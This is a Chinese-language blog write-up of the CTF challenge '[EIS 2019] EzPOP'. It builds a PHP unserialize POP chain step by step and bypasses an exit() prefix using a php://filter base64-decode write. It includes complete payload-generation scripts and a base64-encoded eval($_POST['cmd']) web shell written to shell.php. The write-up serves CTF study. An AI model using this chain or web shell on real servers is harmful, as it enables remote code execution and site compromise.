buu25

[EIS 2019]EzPOP

找到一个危险函数根据此函数往前看看是否能传值进去这里有个exit(),好像不会执行后面data的内容,这里待会需要想办法绕过,但是首先需要弄懂将值传入的链
img

data首先可能会经过一个压缩的操作为了不让data发生改变,我们就需要将data_compress设为0
img

接下来会经过一个serialize的函数操作,如果为数字,那么就会返回string的data,那我们可以先让我们data会string类型,后面因为serialize()可以看成是一个函数的执行,并且serialize可以由我们直接赋值,这里可以使用strval函数。
img
向上是set函数没传入这些值,其中value就是对应我们后面的data
img

往上对应来自于class A中的content中,而这里的store需要赋值为classB中,不然找不到set方法
img

在往上看到来自于cleanContents中的cache,这个在前面的定义中没有看到,所以我们可以直接自己定义一下这个变量,看到下面还有一个json_encode为了防止被json_encode,我们这里还需要将complete设置为0这样子的话就可以避免被json_encode
img

img

最后再向上来到construct这里,这里有对store进行赋值,这里需要赋值为new B
img

现在整理一下编写pop链条:

<?php
class A{
public $store;
public $key="a.php";
public $expire;
public $cache;
public $complete;
public function __construct($store)
{
$this->store=$store;
}
}
class B{
public $options;
}
$b=new B();
$b->options=array('data_compress'=>0,'expire'=>0,'serialize'=>'strval');
$a=new A($b);
$a->cache=array(1=>array(1=>1));
$a->complete=0;
$a->key=1;
$a->expire=null;
echo serialize($a);

现在的难点在于我们写入的内容前面有一个exit()这样的话,我们写入的内容将不会被执行,参考
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
这里介绍的方法是这样的:先使用php://filter/wtrite=convert.base64.decode/resource=./uploads/伪协议,对原本文件中的内容进行base64编码后的读取,除掉那些<?的特殊字符,我们只会对phpexit进行base64编码,我们传入的内容也需要是base64加密,但是我们可以多传入几个字符,打乱前面的加密
base64加密方式:
第一步,将待转换的字符串每三个字节分为一组,每个字节占8bit,那么共有24个二进制位。
第二步,将上面的24个二进制位每6个一组,共分为4组。
第三步,在每组前面添加两个0,每组由6个变为8个二进制位,总共32个二进制位,即四个字节。
第四步,根据Base64编码对照表(见下图)获得对应的值。反过来,base64解码时,一定是4个有效字节为一组进行解码

所以说这里要跟踪一下content传入的值,可以发现最终传入的值为第一个数组的键值,以及嵌套后的数组的键值
img
拼接以后即变成,因为接下来由于我们使用的伪协议的decode打开,所以前面这些将被base64解密回去,变成乱码 exit就消失了

phpexit111 这里是一句话木马

接下来写一下pop链:

<?php
class A{
public $store;
public $key="a.php";
public $expire;
public $cache;
public $complete;
public function __construct($store)
{
$this->store=$store;
}
}
class B{
public $options;
}
$b=new B();
$b->options=array('data_compress'=>0,'expire'=>0,'serialize'=>'strval','prefix'=>'php://filter/write=convert.base64-decode/resource=./uploads/');
$a=new A($b);
$a->cache=array(111=>array('path'=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/PmFhYWFh"));
$a->complete=1;
$a->key='shell.php';
$a->expire=null;
echo urlencode(serialize($a));

小结:

这道题的坑点还挺多的
1.存在许多可能改变data的函数,但是都可以绕过
2.传入的数组需要为双重数组,具体是为什么可以在phpstorm中调试一下,并且我们的内容的键名还必须是他要求的那几个才会被识别进入content
3.exit的绕过需要了解base64的加密方式,然后后面的payload,在我们传入的时候后面需要再添加几个字母来补齐,防止前面的内容在解密的时候被吃掉

Author

vague huang

Posted on

2021-07-27

Updated on

2021-07-29

Licensed under

Comments